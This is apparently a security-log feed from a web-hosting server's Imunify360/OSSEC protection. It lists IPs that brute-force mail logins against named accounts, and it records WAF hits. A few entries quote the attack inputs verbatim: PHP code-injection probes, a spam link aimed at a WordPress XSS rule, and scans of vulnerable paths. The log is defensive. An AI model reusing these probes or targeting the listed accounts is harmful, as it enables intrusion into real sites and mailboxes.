rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:42:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62339: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:43:09 dovecot_login authenticator failed for H=(HNXamrZi9) [185.230.124.69]:53650: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-02 06:43:37 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:56330: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-02 06:43:06 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:49858: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:43:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:43:29 dovecot_login authenticator failed for H=(DQf9lvsu) [158.94.208.175]:55262: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:43:02 dovecot_login authenticator failed for H=(XAMRTiYTtW) [178.16.54.138]:57228: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:43:27 dovecot_login authenticator failed for H=(7THY2q) [165.154.217.204]:62529: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-02-02 06:44:00 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:37484: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:43:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-02-02 06:43:36 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:56554: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/alsa/cards/GUS.conf||User:root||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:43:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:43:08 dovecot_login authenticator failed for H=(1w1kFZ) [165.154.217.204]:60338: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:43:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55988: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-02 06:43:39 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:58928: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:43:01 dovecot_login authenticator failed for H=(nF93GqD) [92.118.39.145]:52297: 535 Incorrect authentication data (set_id=nsales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.166.172.221
country_id: 1282988
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Reader/OOCalc.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-02 06:43:54 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:53335: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:44:02 dovecot_login authenticator failed for H=(3IHgMeN8y) [158.94.208.175]:53414: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:44:06 dovecot_login authenticator failed for H=(duBUuvhcl) [185.230.124.69]:60449: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:44:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:44:05 dovecot_login authenticator failed for H=(h6RMO6FoTH) [165.154.217.204]:50557: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:44:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49942: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:44:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:44:44 dovecot_login authenticator failed for H=(S6Iib9hci) [178.16.54.138]:49835: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:44:21 dovecot_login authenticator failed for H=(yiU6Qm) [92.118.39.145]:56012: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:45:03 dovecot_login authenticator failed for H=(ORqBtdfdo) [185.230.124.69]:54061: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:45:03 dovecot_login authenticator failed for H=(mFDd6DR) [165.154.217.204]:57068: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:45:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60616: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:45:41 dovecot_login authenticator failed for H=(dRLsPqHp) [178.16.54.138]:49618: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:45:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:45:15 dovecot_login authenticator failed for H=(IZkz6XXT) [158.94.208.175]:60545: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:45:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51184: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:45:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:45:04 dovecot_login authenticator failed for H=(SWwXME) [165.154.217.204]:57283: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:45:06 dovecot_login authenticator failed for H=(M87HtI) [92.118.39.145]:57959: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:46:02 dovecot_login authenticator failed for H=(AoyUoTQH5) [165.154.217.204]:64209: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:46:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:46:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:46:19 dovecot_login authenticator failed for H=(E5P1J6K) [158.94.208.175]:64837: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:46:31 dovecot_login authenticator failed for H=(KRI2kzo) [165.154.217.204]:51239: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:46:54 dovecot_login authenticator failed for H=(eKM1RrdK) [178.16.52.139]:61875: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.212.37.145
country_id: 1814991
description:
2026-02-02 06:46:02 dovecot_login authenticator failed for H=(145.37.212.118.adsl-pool.jx.chinaunicom.com) [118.212.37.145]:45390: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:46:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54461: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.128.10.138
country_id: 1168579
description:
2026-02-02 06:46:11 dovecot_login authenticator failed for H=(203-128-10-138.braintel.net.pk) [203.128.10.138]:40199: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:46:14 dovecot_login authenticator failed for H=(ArIYDLO) [92.118.39.145]:60745: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:46:19 dovecot_login authenticator failed for H=(GdNHoHtT) [185.230.124.69]:65302: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:46:40 dovecot_login authenticator failed for H=(nGusUq) [178.16.54.138]:59493: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:47:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38752: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:47:21 dovecot_login authenticator failed for H=(vpgzkRrX) [178.16.52.139]:61483: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:47:23 dovecot_login authenticator failed for H=(0pNKJX0O) [158.94.208.175]:56316: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:47:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59623: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-02 06:47:36 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:38820: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-02 06:48:00 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:35834: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:47:09 dovecot_login authenticator failed for H=(XEn7wlWy) [165.154.217.204]:55761: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:47:17 dovecot_login authenticator failed for H=(rbnEO9Rhdv) [185.230.124.69]:54146: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:47:21 dovecot_login authenticator failed for H=(gg9NpKY7zX) [92.118.39.145]:63833: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.56.194.254
country_id: 1522867
description:
2026-02-02 06:47:37 dovecot_login authenticator failed for H=95.56.194.254.dynamic.telecom.kz [95.56.194.254]:33365: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.128.210
country_id: 1814991
description:
2026-02-02 06:47:51 dovecot_login authenticator failed for H=([61.184.128.210]) [61.184.128.210]:39607: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.29.14
country_id: 1269750
description:
2026-02-02 06:47:59 dovecot_login authenticator failed for H=(abts-kk-static-182.209.166.122.airtelbroadband.in) [14.96.29.14]:35588: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:47:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:47:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 06:47:48 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:48982: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:47:55 dovecot_login authenticator failed for H=(ytm3mTY) [165.154.217.204]:60938: 535 Incorrect authentication data (set_id=central)


plugin: modsec
rule: 77350423
name: IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)
abuser: 202.55.67.194
country_id: 1880251
domain: tst-ma.com
description:
IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)||MVN:ARGS:author||MV:<a href=\"https://bestcasinobangladesh.online/\">bestcasinobgmoPi</a>||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:48:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:48:07 dovecot_login authenticator failed for H=(2dkNg9) [165.154.217.204]:62205: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-02 06:48:49 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:43131: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:48:08 dovecot_login authenticator failed for H=(JZu1xXX) [92.118.39.145]:49304: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:48:15 dovecot_login authenticator failed for H=(bjZaSH) [185.230.124.69]:62209: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:48:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53266: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:48:31 dovecot_login authenticator failed for H=(UOx7P9R3) [158.94.208.175]:61781: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:48:44 dovecot_login authenticator failed for H=(kvMTBoa) [178.16.52.139]:50355: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:48:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:48:21 dovecot_login authenticator failed for H=(QLwyxuPW4) [178.16.54.138]:64854: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-02-02 06:48:25 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:34765: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-02-02 06:48:29 dovecot_plain authenticator failed for H=(undicant) [154.146.240.123]:52176: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:49:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59070: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:49:05 dovecot_login authenticator failed for H=(gXbCs0ktF) [158.94.208.175]:60772: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:49:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:49:13 dovecot_login authenticator failed for H=(yilQ3oZa) [185.230.124.69]:49265: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:49:16 dovecot_login authenticator failed for H=(pwaa3CAw) [92.118.39.145]:52193: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:49:19 dovecot_login authenticator failed for H=(tjBj4SXf) [178.16.52.139]:62507: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:49:23 dovecot_login authenticator failed for H=(Rj65legA) [178.16.54.138]:51632: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:49:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63032: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:49:04 dovecot_login authenticator failed for H=(b3ZetD5B) [165.154.217.204]:53102: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:49:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:49:27 dovecot_login authenticator failed for H=(meAIgk) [165.154.217.204]:56233: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:50:05 dovecot_login authenticator failed for H=(GKZaLM4i) [165.154.217.204]:61357: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:50:11 dovecot_login authenticator failed for H=(hhL1bQGbX) [185.230.124.69]:54486: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:50:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:50:58 dovecot_login authenticator failed for H=(JUqBIxzj) [165.154.217.204]:62317: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:50:15 dovecot_login authenticator failed for H=(QgYBZoR) [178.16.52.139]:53035: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:50:26 dovecot_login authenticator failed for H=(zYqC7AU) [178.16.54.138]:54297: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:50:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:50:07 dovecot_login authenticator failed for H=(GVEekvY) [158.94.208.175]:52981: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.230.228.16
country_id: 6252001
description:
2026-02-02 06:50:13 dovecot_plain authenticator failed for H=c-71-230-228-16.hsd1.de.comcast.net (trumpi) [71.230.228.16]:36224: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:50:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56491: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:50:24 dovecot_login authenticator failed for H=(khsboN) [92.118.39.145]:55127: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:51:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:51:38 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58158: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:51:03 dovecot_login authenticator failed for H=(U5WE8JDs) [165.154.217.204]:63193: 535 Incorrect authentication data (set_id=central)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.157.49.19
country_id: 1643084
domain: mail.cordage.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:sub||MV:'-var_dump(md5(734658282))-'||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:51:38 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44050: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:51:09 dovecot_login authenticator failed for H=(TEUcocSyz) [158.94.208.175]:61197: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:51:08 dovecot_login authenticator failed for H=(FwUG33s3PO) [185.230.124.69]:53471: 535 Incorrect authentication data (set_id=darren)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 103.157.49.19
country_id: 1643084
domain: mail.cordage.com.my
description:
IM360 WAF: Special shell symbol in request||MV:@var_dump(md5(136967083)||MVN:ARGS:sub||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:51:25 dovecot_login authenticator failed for H=(LR97mz) [178.16.54.138]:65054: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
